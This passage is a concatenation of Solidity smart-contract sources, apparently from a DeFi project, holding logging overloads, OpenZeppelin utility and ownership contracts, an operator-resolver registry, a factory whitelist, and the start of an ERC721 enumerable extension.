function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./interfaces/IOperatorResolver.sol";
import "./abstracts/MixinOperatorResolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Operator Resolver implementation
/// @notice Resolve the operators address
contract OperatorResolver is IOperatorResolver, Ownable {
/// @dev Operators map of the name and address
mapping(bytes32 => Operator) public operators;
/// @inheritdoc IOperatorResolver
function getOperator(bytes32 name) external view override returns (Operator memory) {
return operators[name];
}
/// @inheritdoc IOperatorResolver
function requireAndGetOperator(bytes32 name, string calldata reason)
external
view
override
returns (Operator memory)
{
Operator memory _foundOperator = operators[name];
require(_foundOperator.implementation != address(0), reason);
return _foundOperator;
}
/// @inheritdoc IOperatorResolver
function areOperatorsImported(bytes32[] calldata names, Operator[] calldata destinations)
external
view
override
returns (bool)
{
uint256 namesLength = names.length;
require(namesLength == destinations.length, "OR: INPUTS_LENGTH_MUST_MATCH");
for (uint256 i = 0; i < namesLength; i++) {
if (
operators[names[i]].implementation != destinations[i].implementation ||
operators[names[i]].selector != destinations[i].selector
) {
return false;
}
}
return true;
}
/// @inheritdoc IOperatorResolver
function importOperators(
bytes32[] calldata names,
Operator[] calldata operatorsToImport,
MixinOperatorResolver[] calldata destinations
) external override onlyOwner {
require(names.length == operatorsToImport.length, "OR: INPUTS_LENGTH_MUST_MATCH");
bytes32 name;
Operator calldata destination;
for (uint256 i = 0; i < names.length; i++) {
name = names[i];
destination = operatorsToImport[i];
operators[name] = destination;
emit OperatorImported(name, destination);
}
// rebuild caches atomically
// see. https://github.com/code-423n4/2021-11-nested-findings/issues/217
rebuildCaches(destinations);
}
/// @notice rebuild the caches of mixin smart contracts
/// @param destinations The list of mixinOperatorResolver to rebuild
function rebuildCaches(MixinOperatorResolver[] calldata destinations) public onlyOwner {
for (uint256 i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "../abstracts/MixinOperatorResolver.sol";
/// @title Operator address resolver interface
interface IOperatorResolver {
/// @dev Represents an operator definition
/// @param implementation Contract address
/// @param selector Function selector
struct Operator {
address implementation;
bytes4 selector;
}
/// @notice Emitted when an operator is imported
/// @param name The operator name
/// @param destination The operator definition
event OperatorImported(bytes32 name, Operator destination);
/// @notice Get an operator (address/selector) for a given name
/// @param name The operator name
/// @return The operator struct (address/selector)
function getOperator(bytes32 name) external view returns (Operator memory);
/// @notice Get an operator (address/selector) for a given name but require the operator to exist.
/// @param name The operator name
/// @param reason Require message
/// @return The operator struct (address/selector)
function requireAndGetOperator(bytes32 name, string calldata reason) external view returns (Operator memory);
/// @notice Check if some operators are imported with the right name (and vice versa)
/// @dev The check is performed on the index, make sure that the two arrays match
/// @param names The operator names
/// @param destinations The operator addresses
/// @return True if all the addresses/names are correctly imported, false otherwise
function areOperatorsImported(bytes32[] calldata names, Operator[] calldata destinations)
external
view
returns (bool);
/// @notice Import/replace operators
/// @dev names and destinations arrays must coincide
/// @param names Hashes of the operators names to register
/// @param operatorsToImport Operators to import
/// @param destinations Destinations to rebuild cache atomically
function importOperators(
bytes32[] calldata names,
Operator[] calldata operatorsToImport,
MixinOperatorResolver[] calldata destinations
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Asbtract "Ownable" contract managing a whitelist of factories
abstract contract OwnableFactoryHandler is Ownable {
/// @dev Emitted when a new factory is added
/// @param newFactory Address of the new factory
event FactoryAdded(address newFactory);
/// @dev Emitted when a factory is removed
/// @param oldFactory Address of the removed factory
event FactoryRemoved(address oldFactory);
/// @dev Supported factories to interact with
mapping(address => bool) public supportedFactories;
/// @dev Reverts the transaction if the caller is a supported factory
modifier onlyFactory() {
require(supportedFactories[msg.sender], "OFH: FORBIDDEN");
_;
}
/// @notice Add a supported factory
/// @param _factory The address of the new factory
function addFactory(address _factory) external onlyOwner {
require(_factory != address(0), "OFH: INVALID_ADDRESS");
supportedFactories[_factory] = true;
emit FactoryAdded(_factory);
}
/// @notice Remove a supported factory
/// @param _factory The address of the factory to remove
function removeFactory(address _factory) external onlyOwner {
require(supportedFactories[_factory], "OFH: NOT_SUPPORTED");
supportedFactories[_factory] = false;
emit FactoryRemoved(_factory);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
